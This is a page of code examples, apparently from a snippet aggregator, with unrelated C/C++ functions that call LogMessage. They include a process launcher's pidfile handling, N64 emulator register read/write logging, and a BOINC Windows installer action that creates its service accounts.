    // Exec the start-cmd
    pid_t pid = Exec(startArgs, pidStyle == kPidStyleNone);
    
    // Process error during Exec
    if (pid == -1)
    {
        if (verbosity >= 2)
            LogMessage("Error running start-cmd %s\n", CatArray(startArgs, buf, sizeof(buf)));
        if (verbosity >= 1)
            LogMessage("error while starting\n");
        return 2;
    }
    
    // Try to discover the pid of the running process
    switch (pidStyle)
    {
    case kPidStyleNone:         // The command should have completed: we have no pid (should be zero)
        pid = -1;
        break;
        
    case kPidStyleExec:         // The pid comes from the Exec
        break;
        
    case kPidStyleFileAuto:     // Poll pid from the pidfile
    case kPidStyleFileClean:
        pid = WaitForValidPidFile();
        if (pid == -1)
        {
            if (verbosity >= 2)
                LogMessage("Error; expected pidfile not found following Exec of start-cmd %s\n", CatArray(startArgs, buf, sizeof(buf)));
            if (verbosity >= 1)
                LogMessage("error while starting\n");
            return 2;
        }
        break;
        
    default:
        break;
    }
    
    // If we have a pid, then begin tracking it
    MonitorChild(pid);
    if (pid != 0 && pid != -1)
    {
        if (verbosity >= 1)
            LogMessage("Target process id is %d\n", pid);

        // Create a pid file if we need to      
        CreatePidFile();
    }
    
    return 0;
}
Ejemplo n.º 20
0
void Log_LW (DWORD PC, DWORD VAddr) {
	if (!LogOptions.GenerateLog) { return; }

	if ( VAddr < 0xA0000000 || VAddr >= 0xC0000000 )
	{
		DWORD PAddr;
		if (!g_TransVaddr->TranslateVaddr(VAddr,PAddr))
		{
			if (LogOptions.LogUnknown) 
			{ 
				LogMessage("%08X: read from unknown ??? (%08X)",PC,VAddr);
			}
			return; 
		}
		VAddr = PAddr + 0xA0000000;
	} 
	
	DWORD Value;
	if ( VAddr >= 0xA0000000 && VAddr < (0xA0000000 + g_MMU->RdramSize())) { return; }
	if ( VAddr >= 0xA3F00000 && VAddr <= 0xA3F00024) {
		if (!LogOptions.LogRDRamRegisters) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA3F00000: LogMessage("%08X: read from RDRAM_CONFIG_REG/RDRAM_DEVICE_TYPE_REG (%08X)",PC, Value); return;
		case 0xA3F00004: LogMessage("%08X: read from RDRAM_DEVICE_ID_REG (%08X)",PC, Value); return;
		case 0xA3F00008: LogMessage("%08X: read from RDRAM_DELAY_REG (%08X)",PC, Value); return;
		case 0xA3F0000C: LogMessage("%08X: read from RDRAM_MODE_REG (%08X)",PC, Value); return;
		case 0xA3F00010: LogMessage("%08X: read from RDRAM_REF_INTERVAL_REG (%08X)",PC, Value); return;
		case 0xA3F00014: LogMessage("%08X: read from RDRAM_REF_ROW_REG (%08X)",PC, Value); return;
		case 0xA3F00018: LogMessage("%08X: read from RDRAM_RAS_INTERVAL_REG (%08X)",PC, Value); return;
		case 0xA3F0001C: LogMessage("%08X: read from RDRAM_MIN_INTERVAL_REG (%08X)",PC, Value); return;
		case 0xA3F00020: LogMessage("%08X: read from RDRAM_ADDR_SELECT_REG (%08X)",PC, Value); return;
		case 0xA3F00024: LogMessage("%08X: read from RDRAM_DEVICE_MANUF_REG (%08X)",PC, Value); return;
		}
	}

	if ( VAddr >= 0xA4000000 && VAddr <= 0xA4001FFC ) { return; }
	if ( VAddr >= 0xA4040000 && VAddr <= 0xA404001C ) {
		if (!LogOptions.LogSPRegisters) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA4040000: LogMessage("%08X: read from SP_MEM_ADDR_REG (%08X)",PC, Value); break;
		case 0xA4040004: LogMessage("%08X: read from SP_DRAM_ADDR_REG (%08X)",PC, Value); break;
		case 0xA4040008: LogMessage("%08X: read from SP_RD_LEN_REG (%08X)",PC, Value); break;
		case 0xA404000C: LogMessage("%08X: read from SP_WR_LEN_REG (%08X)",PC, Value); break;
		case 0xA4040010: LogMessage("%08X: read from SP_STATUS_REG (%08X)",PC, Value); break;
		case 0xA4040014: LogMessage("%08X: read from SP_DMA_FULL_REG (%08X)",PC, Value); break;
		case 0xA4040018: LogMessage("%08X: read from SP_DMA_BUSY_REG (%08X)",PC, Value); break;
		case 0xA404001C: LogMessage("%08X: read from SP_SEMAPHORE_REG (%08X)",PC, Value); break;
		}
		return;
	}		
	if ( VAddr == 0xA4080000) {
		if (!LogOptions.LogSPRegisters) { return; }
		g_MMU->LW_VAddr(VAddr,Value);
		LogMessage("%08X: read from SP_PC (%08X)",PC, Value);
		return;
	}
	if (VAddr >= 0xA4100000 && VAddr <= 0xA410001C) {
		if (!LogOptions.LogDPCRegisters) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA4100000: LogMessage("%08X: read from DPC_START_REG (%08X)",PC, Value); return;
		case 0xA4100004: LogMessage("%08X: read from DPC_END_REG (%08X)",PC, Value); return;
		case 0xA4100008: LogMessage("%08X: read from DPC_CURRENT_REG (%08X)",PC, Value); return;
		case 0xA410000C: LogMessage("%08X: read from DPC_STATUS_REG (%08X)",PC, Value); return;
		case 0xA4100010: LogMessage("%08X: read from DPC_CLOCK_REG (%08X)",PC, Value); return;
		case 0xA4100014: LogMessage("%08X: read from DPC_BUFBUSY_REG (%08X)",PC, Value); return;
		case 0xA4100018: LogMessage("%08X: read from DPC_PIPEBUSY_REG (%08X)",PC, Value); return;
		case 0xA410001C: LogMessage("%08X: read from DPC_TMEM_REG (%08X)",PC, Value); return;
		}
	}
	if (VAddr >= 0xA4300000 && VAddr <= 0xA430000C) {
		if (!LogOptions.LogMIPSInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA4300000: LogMessage("%08X: read from MI_INIT_MODE_REG/MI_MODE_REG (%08X)",PC, Value); return;
		case 0xA4300004: LogMessage("%08X: read from MI_VERSION_REG/MI_NOOP_REG (%08X)",PC, Value); return;
		case 0xA4300008: LogMessage("%08X: read from MI_INTR_REG (%08X)",PC, Value); return;
		case 0xA430000C: LogMessage("%08X: read from MI_INTR_MASK_REG (%08X)",PC, Value); return;
		}
	}
	if (VAddr >= 0xA4400000 && VAddr <= 0xA4400034) {
		if (!LogOptions.LogVideoInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA4400000: LogMessage("%08X: read from VI_STATUS_REG/VI_CONTROL_REG (%08X)",PC, Value); return;
		case 0xA4400004: LogMessage("%08X: read from VI_ORIGIN_REG/VI_DRAM_ADDR_REG (%08X)",PC, Value); return;
		case 0xA4400008: LogMessage("%08X: read from VI_WIDTH_REG/VI_H_WIDTH_REG (%08X)",PC, Value); return;
		case 0xA440000C: LogMessage("%08X: read from VI_INTR_REG/VI_V_INTR_REG (%08X)",PC, Value); return;
		case 0xA4400010: LogMessage("%08X: read from VI_CURRENT_REG/VI_V_CURRENT_LINE_REG (%08X)",PC, Value); return;
		case 0xA4400014: LogMessage("%08X: read from VI_BURST_REG/VI_TIMING_REG (%08X)",PC, Value); return;
		case 0xA4400018: LogMessage("%08X: read from VI_V_SYNC_REG (%08X)",PC, Value); return;
		case 0xA440001C: LogMessage("%08X: read from VI_H_SYNC_REG (%08X)",PC, Value); return;
		case 0xA4400020: LogMessage("%08X: read from VI_LEAP_REG/VI_H_SYNC_LEAP_REG (%08X)",PC, Value); return;
		case 0xA4400024: LogMessage("%08X: read from VI_H_START_REG/VI_H_VIDEO_REG (%08X)",PC, Value); return;
		case 0xA4400028: LogMessage("%08X: read from VI_V_START_REG/VI_V_VIDEO_REG (%08X)",PC, Value); return;
		case 0xA440002C: LogMessage("%08X: read from VI_V_BURST_REG (%08X)",PC, Value); return;
		case 0xA4400030: LogMessage("%08X: read from VI_X_SCALE_REG (%08X)",PC, Value); return;
		case 0xA4400034: LogMessage("%08X: read from VI_Y_SCALE_REG (%08X)",PC, Value); return;
		}
	}
	if (VAddr >= 0xA4500000 && VAddr <= 0xA4500014) {
		if (!LogOptions.LogAudioInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA4500000: LogMessage("%08X: read from AI_DRAM_ADDR_REG (%08X)",PC, Value); return;
		case 0xA4500004: LogMessage("%08X: read from AI_LEN_REG (%08X)",PC, Value); return;
		case 0xA4500008: LogMessage("%08X: read from AI_CONTROL_REG (%08X)",PC, Value); return;
		case 0xA450000C: LogMessage("%08X: read from AI_STATUS_REG (%08X)",PC, Value); return;
		case 0xA4500010: LogMessage("%08X: read from AI_DACRATE_REG (%08X)",PC, Value); return;
		case 0xA4500014: LogMessage("%08X: read from AI_BITRATE_REG (%08X)",PC, Value); return;
		}
	}
	if (VAddr >= 0xA4600000 && VAddr <= 0xA4600030) {
		if (!LogOptions.LogPerInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA4600000: LogMessage("%08X: read from PI_DRAM_ADDR_REG (%08X)",PC, Value); return;
		case 0xA4600004: LogMessage("%08X: read from PI_CART_ADDR_REG (%08X)",PC, Value); return;
		case 0xA4600008: LogMessage("%08X: read from PI_RD_LEN_REG (%08X)",PC, Value); return;
		case 0xA460000C: LogMessage("%08X: read from PI_WR_LEN_REG (%08X)",PC, Value); return;
		case 0xA4600010: LogMessage("%08X: read from PI_STATUS_REG (%08X)",PC, Value); return;
		case 0xA4600014: LogMessage("%08X: read from PI_BSD_DOM1_LAT_REG/PI_DOMAIN1_REG (%08X)",PC, Value); return;
		case 0xA4600018: LogMessage("%08X: read from PI_BSD_DOM1_PWD_REG (%08X)",PC, Value); return;
		case 0xA460001C: LogMessage("%08X: read from PI_BSD_DOM1_PGS_REG (%08X)",PC, Value); return;
		case 0xA4600020: LogMessage("%08X: read from PI_BSD_DOM1_RLS_REG (%08X)",PC, Value); return;
		case 0xA4600024: LogMessage("%08X: read from PI_BSD_DOM2_LAT_REG/PI_DOMAIN2_REG (%08X)",PC, Value); return;
		case 0xA4600028: LogMessage("%08X: read from PI_BSD_DOM2_PWD_REG (%08X)",PC, Value); return;
		case 0xA460002C: LogMessage("%08X: read from PI_BSD_DOM2_PGS_REG (%08X)",PC, Value); return;
		case 0xA4600030: LogMessage("%08X: read from PI_BSD_DOM2_RLS_REG (%08X)",PC, Value); return;
		}
	}
	if (VAddr >= 0xA4700000 && VAddr <= 0xA470001C) {
		if (!LogOptions.LogRDRAMInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);

		switch (VAddr) {
		case 0xA4700000: LogMessage("%08X: read from RI_MODE_REG (%08X)",PC, Value); return;
		case 0xA4700004: LogMessage("%08X: read from RI_CONFIG_REG (%08X)",PC, Value); return;
		case 0xA4700008: LogMessage("%08X: read from RI_CURRENT_LOAD_REG (%08X)",PC, Value); return;
		case 0xA470000C: LogMessage("%08X: read from RI_SELECT_REG (%08X)",PC, Value); return;
		case 0xA4700010: LogMessage("%08X: read from RI_REFRESH_REG/RI_COUNT_REG (%08X)",PC, Value); return;
		case 0xA4700014: LogMessage("%08X: read from RI_LATENCY_REG (%08X)",PC, Value); return;
		case 0xA4700018: LogMessage("%08X: read from RI_RERROR_REG (%08X)",PC, Value); return;
		case 0xA470001C: LogMessage("%08X: read from RI_WERROR_REG (%08X)",PC, Value); return;
		}
	}
	if ( VAddr == 0xA4800000) {
		if (!LogOptions.LogSerialInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);
		LogMessage("%08X: read from SI_DRAM_ADDR_REG (%08X)",PC, Value);
		return;
	}
	if ( VAddr == 0xA4800004) {
		if (!LogOptions.LogSerialInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);
		LogMessage("%08X: read from SI_PIF_ADDR_RD64B_REG (%08X)",PC, Value);
		return;
	}
	if ( VAddr == 0xA4800010) {
		if (!LogOptions.LogSerialInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);
		LogMessage("%08X: read from SI_PIF_ADDR_WR64B_REG (%08X)",PC, Value);
		return;
	}
	if ( VAddr == 0xA4800018) {
		if (!LogOptions.LogSerialInterface) { return; }
		g_MMU->LW_VAddr(VAddr,Value);
		LogMessage("%08X: read from SI_STATUS_REG (%08X)",PC, Value);
		return;
	}
	if ( VAddr >= 0xBFC00000 && VAddr <= 0xBFC007C0 ) { return; }
	if ( VAddr >= 0xBFC007C0 && VAddr <= 0xBFC007FC ) {
		if (!LogOptions.LogPRDirectMemLoads) { return; }
		g_MMU->LW_VAddr(VAddr,Value);
		LogMessage("%08X: read word from Pif Ram at 0x%X (%08X)",PC,VAddr - 0xBFC007C0, Value);
		return;
	}
	if ( VAddr >= 0xB0000040 && ((VAddr - 0xB0000000) < g_Rom->GetRomSize())) { return; }
	if ( VAddr >= 0xB0000000 && VAddr < 0xB0000040) {
		if (!LogOptions.LogRomHeader) { return; }

		g_MMU->LW_VAddr(VAddr,Value);
	    switch (VAddr) {        
		case 0xB0000004: LogMessage("%08X: read from Rom Clock Rate (%08X)",PC, Value); break;
		case 0xB0000008: LogMessage("%08X: read from Rom Boot address offset (%08X)",PC, Value); break;
		case 0xB000000C: LogMessage("%08X: read from Rom Release offset (%08X)",PC, Value); break;
		case 0xB0000010: LogMessage("%08X: read from Rom CRC1 (%08X)",PC, Value); break;
		case 0xB0000014: LogMessage("%08X: read from Rom CRC2 (%08X)",PC, Value); break;
		default: LogMessage("%08X: read from Rom header 0x%X (%08X)",PC, VAddr & 0xFF,Value);  break;
		}
		return;
	}
	if (!LogOptions.LogUnknown) { return; }
	LogMessage("%08X: read from unknown ??? (%08X)",PC,VAddr);
}
Ejemplo n.º 21
0
/////////////////////////////////////////////////////////////////////
// 
// Function:    
//
// Description: 
//
/////////////////////////////////////////////////////////////////////
UINT CACreateBOINCAccounts::OnExecution()
{
    tstring          strBOINCMasterAccountUsername;
    tstring          strBOINCMasterAccountPassword;
    tstring          strBOINCProjectAccountUsername;
    tstring          strBOINCProjectAccountPassword;
    tstring          strComputerName;
    tstring          strProductType;
    tstring          strDataDirectory;
    tstring          strEnableProtectedApplicationExecution;
    PSID             pSid;
    NET_API_STATUS   nasReturnValue;
    BOOL             bCreateBOINCMasterAccount = FALSE;
    BOOL             bCreateBOINCProjectAccount = FALSE;
    BOOL             bBOINCMasterAccountCreated = FALSE;
    BOOL             bBOINCProjectAccountCreated = FALSE;
    BOOL             bBOINCMasterAccountModified = FALSE;
    BOOL             bBOINCProjectAccountModified = FALSE;
    UINT             uiReturnValue = -1;

    uiReturnValue = GetProperty( _T("BOINC_MASTER_USERNAME"), strBOINCMasterAccountUsername );
    if ( uiReturnValue ) return uiReturnValue;

    uiReturnValue = GetProperty( _T("BOINC_MASTER_PASSWORD"), strBOINCMasterAccountPassword );
    if ( uiReturnValue ) return uiReturnValue;

    uiReturnValue = GetProperty( _T("BOINC_PROJECT_USERNAME"), strBOINCProjectAccountUsername );
    if ( uiReturnValue ) return uiReturnValue;

    uiReturnValue = GetProperty( _T("BOINC_PROJECT_PASSWORD"), strBOINCProjectAccountPassword );
    if ( uiReturnValue ) return uiReturnValue;

    uiReturnValue = GetProperty( _T("ComputerName"), strComputerName );
    if ( uiReturnValue ) return uiReturnValue;

    uiReturnValue = GetProperty( _T("MsiNTProductType"), strProductType );
    if ( uiReturnValue ) return uiReturnValue;

    uiReturnValue = GetProperty( _T("ENABLEPROTECTEDAPPLICATIONEXECUTION3"), strEnableProtectedApplicationExecution );
    if ( uiReturnValue ) return uiReturnValue;



    // Only create a new account or change the password on an existing account
    //   if the user hasn't explicitly defined an account
    if (strBOINCMasterAccountUsername.empty() && strBOINCMasterAccountPassword.empty()) bCreateBOINCMasterAccount = true;
    if (strBOINCMasterAccountUsername == _T("boinc_master")) bCreateBOINCMasterAccount = true;
    if (strProductType == tstring(_T("2")) && (strBOINCMasterAccountUsername == (tstring(_T("boinc_master_")) + strComputerName))) bCreateBOINCMasterAccount = true;

    if (bCreateBOINCMasterAccount) {

        LogMessage(
            INSTALLMESSAGE_INFO,
            NULL, 
            NULL,
            NULL,
            NULL,
            _T("Using automatic account creation and management of 'boinc_master' account")
        );

        // Determine what the real values of the usernames should be based off
        //   of the inputs
        //
        if (strBOINCMasterAccountUsername.empty()) {
            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Generating 'boinc_master' account name")
            );
            if (strProductType == tstring(_T("2"))) {                    // Domain Controller
                strBOINCMasterAccountUsername = _T("boinc_master_") + strComputerName;
            } else {
                strBOINCMasterAccountUsername = _T("boinc_master");
            }
        }


        // Generate random passwords if needed
        //
        if (strBOINCMasterAccountPassword.empty()) {
            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Generating 'boinc_master' password")
            );
            GenerateRandomPassword(strBOINCMasterAccountPassword, 12);
            strBOINCMasterAccountPassword = _T("!") + strBOINCMasterAccountPassword;
        }


        // Create the 'boinc_master' account if needed, otherwise just update the password.
        //
        if(GetAccountSid(NULL, strBOINCMasterAccountUsername.c_str(), &pSid)) {   // Check if user exists

            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Resetting 'boinc_master' password")
            );

            // Account already exists, just change the password
            //
            USER_INFO_1003 ui;
            DWORD          dwParameterError;

            ui.usri1003_password = (LPWSTR)strBOINCMasterAccountPassword.c_str();

            nasReturnValue = NetUserSetInfo(
                NULL,
                strBOINCMasterAccountUsername.c_str(),
                1003,
                (LPBYTE)&ui,
                &dwParameterError
            );

            if (NERR_Success != nasReturnValue) {
                LogMessage(
                    INSTALLMESSAGE_ERROR,
                    NULL, 
                    NULL,
                    NULL,
                    nasReturnValue,
                    _T("Failed to reset password on the 'boinc_master' account.")
                );
                return ERROR_INSTALL_FAILURE;
            }
        } else {

            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Creating 'boinc_master' account")
            );

            // Account does not exist, create it
            //
            USER_INFO_1 ui;
            DWORD       dwParameterError;

            ui.usri1_name = (LPWSTR)strBOINCMasterAccountUsername.c_str();
            ui.usri1_password = (LPWSTR)strBOINCMasterAccountPassword.c_str();
            ui.usri1_comment = _T("Account used to execute BOINC as a system service");
            ui.usri1_priv = USER_PRIV_USER;
            ui.usri1_home_dir = NULL;
            ui.usri1_comment = NULL;
            ui.usri1_flags = UF_SCRIPT | UF_PASSWD_CANT_CHANGE | UF_DONT_EXPIRE_PASSWD;
            ui.usri1_script_path = NULL;

            nasReturnValue = NetUserAdd(
                NULL,
                1,
                (LPBYTE)&ui,
                &dwParameterError
            );

            if (NERR_Success != nasReturnValue) {
                LogMessage(
                    INSTALLMESSAGE_INFO,
                    NULL, 
                    NULL,
                    NULL,
                    nasReturnValue,
                    _T("NetUserAdd retval")
                );
                LogMessage(
                    INSTALLMESSAGE_INFO,
                    NULL, 
                    NULL,
                    NULL,
                    dwParameterError,
                    _T("NetUserAdd dwParameterError")
                );
                LogMessage(
                    INSTALLMESSAGE_ERROR,
                    NULL, 
                    NULL,
                    NULL,
                    nasReturnValue,
                    _T("Failed to create the 'boinc_master' account.")
                );
                return ERROR_INSTALL_FAILURE;
            }

            bBOINCMasterAccountCreated = TRUE;
        }
        if(pSid != NULL) {
            HeapFree(GetProcessHeap(), 0, pSid);
            pSid = NULL;
        }

        bBOINCMasterAccountModified = TRUE;
    }

    // Only create a new account or change the password on an existing account
    //   if the user hasn't explicitly defined an account
    if (strBOINCProjectAccountUsername.empty() && strBOINCProjectAccountPassword.empty()) bCreateBOINCProjectAccount = true;
    if (strBOINCProjectAccountUsername == _T("boinc_project")) bCreateBOINCProjectAccount = true;
    if (strProductType == tstring(_T("2")) && (strBOINCProjectAccountUsername == (tstring(_T("boinc_project_")) + strComputerName))) bCreateBOINCProjectAccount = true;

    if (bCreateBOINCProjectAccount) {

        LogMessage(
            INSTALLMESSAGE_INFO,
            NULL, 
            NULL,
            NULL,
            NULL,
            _T("Using automatic account creation and management of 'boinc_project' account")
        );

        // Determine what the real values of the usernames should be based off
        //   of the inputs
        //
        if (strBOINCProjectAccountUsername.empty()) {
            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Generating 'boinc_project' account name")
            );
            if (strProductType == tstring(_T("2"))) {                    // Domain Controller
                strBOINCProjectAccountUsername = _T("boinc_project_") + strComputerName;
            } else {
                strBOINCProjectAccountUsername = _T("boinc_project");
            }
        }


        // Generate random passwords if needed
        //
        if (strBOINCProjectAccountPassword.empty()) {
            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Generating 'boinc_project' password")
            );
            GenerateRandomPassword(strBOINCProjectAccountPassword, 12);
            strBOINCProjectAccountPassword = _T("!") + strBOINCProjectAccountPassword;
        }


        // Create the 'boinc_project' account if needed, otherwise just update the password.
        //
        if(GetAccountSid(NULL, strBOINCProjectAccountUsername.c_str(), &pSid)) {   // Check if user exists

            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Resetting 'boinc_project' password")
            );

            // Account already exists, just change the password
            //
            USER_INFO_1003 ui;
            DWORD          dwParameterError;

            ui.usri1003_password = (LPWSTR)strBOINCProjectAccountPassword.c_str();

            nasReturnValue = NetUserSetInfo(
                NULL,
                strBOINCProjectAccountUsername.c_str(),
                1003,
                (LPBYTE)&ui,
                &dwParameterError
            );

            if (NERR_Success != nasReturnValue) {
                LogMessage(
                    INSTALLMESSAGE_ERROR,
                    NULL, 
                    NULL,
                    NULL,
                    nasReturnValue,
                    _T("Failed to reset password on the 'boinc_project' account.")
                );
                return ERROR_INSTALL_FAILURE;
            }
        } else {

            LogMessage(
                INSTALLMESSAGE_INFO,
                NULL, 
                NULL,
                NULL,
                NULL,
                _T("Creating 'boinc_project' account")
            );

            // Account does not exist, create it
            //
            USER_INFO_1 ui;
            DWORD       dwParameterError;

            ui.usri1_name = (LPWSTR)strBOINCProjectAccountUsername.c_str();
            ui.usri1_password = (LPWSTR)strBOINCProjectAccountPassword.c_str();
            ui.usri1_comment = _T("Account used to execute BOINC applications");
            ui.usri1_priv = USER_PRIV_USER;
            ui.usri1_home_dir = NULL;
            ui.usri1_comment = NULL;
            ui.usri1_flags = UF_SCRIPT | UF_PASSWD_CANT_CHANGE | UF_DONT_EXPIRE_PASSWD;
            ui.usri1_script_path = NULL;

            nasReturnValue = NetUserAdd(
                NULL,
                1,
                (LPBYTE)&ui,
                &dwParameterError
            );

            if (NERR_Success != nasReturnValue) {
                LogMessage(
                    INSTALLMESSAGE_INFO,
                    NULL, 
                    NULL,
                    NULL,
                    nasReturnValue,
                    _T("NetUserAdd retval")
                );
                LogMessage(
                    INSTALLMESSAGE_INFO,
                    NULL, 
                    NULL,
                    NULL,
                    dwParameterError,
                    _T("NetUserAdd dwParameterError")
                );
                LogMessage(
                    INSTALLMESSAGE_ERROR,
                    NULL, 
                    NULL,
                    NULL,
                    nasReturnValue,
                    _T("Failed to create the 'boinc_project' account.")
                );
                return ERROR_INSTALL_FAILURE;
            }

            bBOINCProjectAccountCreated = TRUE;
        }
        if(pSid != NULL) {
            HeapFree(GetProcessHeap(), 0, pSid);
            pSid = NULL;
        }

        bBOINCProjectAccountModified = TRUE;
    }


    SetProperty( _T("BOINC_MASTER_USERNAME"), strBOINCMasterAccountUsername );
    if (bBOINCMasterAccountModified) {
        SetProperty( _T("BOINC_MASTER_ISUSERNAME"), tstring(_T(".\\") + strBOINCMasterAccountUsername) );
    } else {
        SetProperty( _T("BOINC_MASTER_ISUSERNAME"), strBOINCMasterAccountUsername );
    }
    SetProperty( _T("BOINC_MASTER_PASSWORD"), strBOINCMasterAccountPassword, false );

    SetProperty( _T("BOINC_PROJECT_USERNAME"), strBOINCProjectAccountUsername );
    if (bBOINCProjectAccountModified) {
        SetProperty( _T("BOINC_PROJECT_ISUSERNAME"), tstring(_T(".\\") + strBOINCProjectAccountUsername) );
    } else {
        SetProperty( _T("BOINC_PROJECT_ISUSERNAME"), strBOINCProjectAccountUsername );
    }
    SetProperty( _T("BOINC_PROJECT_PASSWORD"), strBOINCProjectAccountPassword, false );

    if (bBOINCMasterAccountCreated || bBOINCProjectAccountCreated) {
        RebootWhenFinished();
    }

    return ERROR_SUCCESS;
}
Ejemplo n.º 22
0
void Log_SW (DWORD PC, DWORD VAddr, DWORD Value) {
	if (!LogOptions.GenerateLog) { return; }

	if ( VAddr < 0xA0000000 || VAddr >= 0xC0000000 )
	{
		DWORD PAddr;
		if (!g_TransVaddr->TranslateVaddr(VAddr,PAddr))
		{
			if (LogOptions.LogUnknown) 
			{ 
				LogMessage("%08X: Writing 0x%08X to %08X",PC, Value, VAddr );
			}
			return; 
		}
		VAddr = PAddr + 0xA0000000;
	} 

	if ( VAddr >= 0xA0000000 && VAddr < (0xA0000000 + g_MMU->RdramSize())) { return; }
	if ( VAddr >= 0xA3F00000 && VAddr <= 0xA3F00024) {
		if (!LogOptions.LogRDRamRegisters) { return; }
		switch (VAddr) {
		case 0xA3F00000: LogMessage("%08X: Writing 0x%08X to RDRAM_CONFIG_REG/RDRAM_DEVICE_TYPE_REG",PC, Value ); return;
		case 0xA3F00004: LogMessage("%08X: Writing 0x%08X to RDRAM_DEVICE_ID_REG",PC, Value ); return;
		case 0xA3F00008: LogMessage("%08X: Writing 0x%08X to RDRAM_DELAY_REG",PC, Value ); return;
		case 0xA3F0000C: LogMessage("%08X: Writing 0x%08X to RDRAM_MODE_REG",PC, Value ); return;
		case 0xA3F00010: LogMessage("%08X: Writing 0x%08X to RDRAM_REF_INTERVAL_REG",PC, Value ); return;
		case 0xA3F00014: LogMessage("%08X: Writing 0x%08X to RDRAM_REF_ROW_REG",PC, Value ); return;
		case 0xA3F00018: LogMessage("%08X: Writing 0x%08X to RDRAM_RAS_INTERVAL_REG",PC, Value ); return;
		case 0xA3F0001C: LogMessage("%08X: Writing 0x%08X to RDRAM_MIN_INTERVAL_REG",PC, Value ); return;
		case 0xA3F00020: LogMessage("%08X: Writing 0x%08X to RDRAM_ADDR_SELECT_REG",PC, Value ); return;
		case 0xA3F00024: LogMessage("%08X: Writing 0x%08X to RDRAM_DEVICE_MANUF_REG",PC, Value ); return;
		}
	}
	if ( VAddr >= 0xA4000000 && VAddr <= 0xA4001FFC ) { return; }

    if ( VAddr >= 0xA4040000 && VAddr <= 0xA404001C) {
		if (!LogOptions.LogSPRegisters) { return; }
		switch (VAddr) {
		case 0xA4040000: LogMessage("%08X: Writing 0x%08X to SP_MEM_ADDR_REG",PC, Value ); return;
		case 0xA4040004: LogMessage("%08X: Writing 0x%08X to SP_DRAM_ADDR_REG",PC, Value ); return;
		case 0xA4040008: LogMessage("%08X: Writing 0x%08X to SP_RD_LEN_REG",PC, Value ); return;
		case 0xA404000C: LogMessage("%08X: Writing 0x%08X to SP_WR_LEN_REG",PC, Value ); return;
		case 0xA4040010: LogMessage("%08X: Writing 0x%08X to SP_STATUS_REG",PC, Value ); return;
		case 0xA4040014: LogMessage("%08X: Writing 0x%08X to SP_DMA_FULL_REG",PC, Value ); return;
		case 0xA4040018: LogMessage("%08X: Writing 0x%08X to SP_DMA_BUSY_REG",PC, Value ); return;
		case 0xA404001C: LogMessage("%08X: Writing 0x%08X to SP_SEMAPHORE_REG",PC, Value ); return;
		}
	}
    if ( VAddr == 0xA4080000) {
		if (!LogOptions.LogSPRegisters) { return; }		
		LogMessage("%08X: Writing 0x%08X to SP_PC",PC, Value ); return;
	}
	
    if ( VAddr >= 0xA4100000 && VAddr <= 0xA410001C) {
		if (!LogOptions.LogDPCRegisters) { return; }
		switch (VAddr) {
		case 0xA4100000: LogMessage("%08X: Writing 0x%08X to DPC_START_REG",PC, Value ); return;
		case 0xA4100004: LogMessage("%08X: Writing 0x%08X to DPC_END_REG",PC, Value ); return;
		case 0xA4100008: LogMessage("%08X: Writing 0x%08X to DPC_CURRENT_REG",PC, Value ); return;
		case 0xA410000C: LogMessage("%08X: Writing 0x%08X to DPC_STATUS_REG",PC, Value ); return;
		case 0xA4100010: LogMessage("%08X: Writing 0x%08X to DPC_CLOCK_REG",PC, Value ); return;
		case 0xA4100014: LogMessage("%08X: Writing 0x%08X to DPC_BUFBUSY_REG",PC, Value ); return;
		case 0xA4100018: LogMessage("%08X: Writing 0x%08X to DPC_PIPEBUSY_REG",PC, Value ); return;
		case 0xA410001C: LogMessage("%08X: Writing 0x%08X to DPC_TMEM_REG",PC, Value ); return;
		}
	}

    if ( VAddr >= 0xA4200000 && VAddr <= 0xA420000C) {
		if (!LogOptions.LogDPSRegisters) { return; }
		switch (VAddr) {
		case 0xA4200000: LogMessage("%08X: Writing 0x%08X to DPS_TBIST_REG",PC, Value ); return;
		case 0xA4200004: LogMessage("%08X: Writing 0x%08X to DPS_TEST_MODE_REG",PC, Value ); return;
		case 0xA4200008: LogMessage("%08X: Writing 0x%08X to DPS_BUFTEST_ADDR_REG",PC, Value ); return;
		case 0xA420000C: LogMessage("%08X: Writing 0x%08X to DPS_BUFTEST_DATA_REG",PC, Value ); return;
		}
	}

    if ( VAddr >= 0xA4300000 && VAddr <= 0xA430000C) {
		if (!LogOptions.LogMIPSInterface) { return; }
		switch (VAddr) {
		case 0xA4300000: LogMessage("%08X: Writing 0x%08X to MI_INIT_MODE_REG/MI_MODE_REG",PC, Value ); return;
		case 0xA4300004: LogMessage("%08X: Writing 0x%08X to MI_VERSION_REG/MI_NOOP_REG",PC, Value ); return;
		case 0xA4300008: LogMessage("%08X: Writing 0x%08X to MI_INTR_REG",PC, Value ); return;
		case 0xA430000C: LogMessage("%08X: Writing 0x%08X to MI_INTR_MASK_REG",PC, Value ); return;
		}
	}
    if ( VAddr >= 0xA4400000 && VAddr <= 0xA4400034) {
		if (!LogOptions.LogVideoInterface) { return; }
		switch (VAddr) {
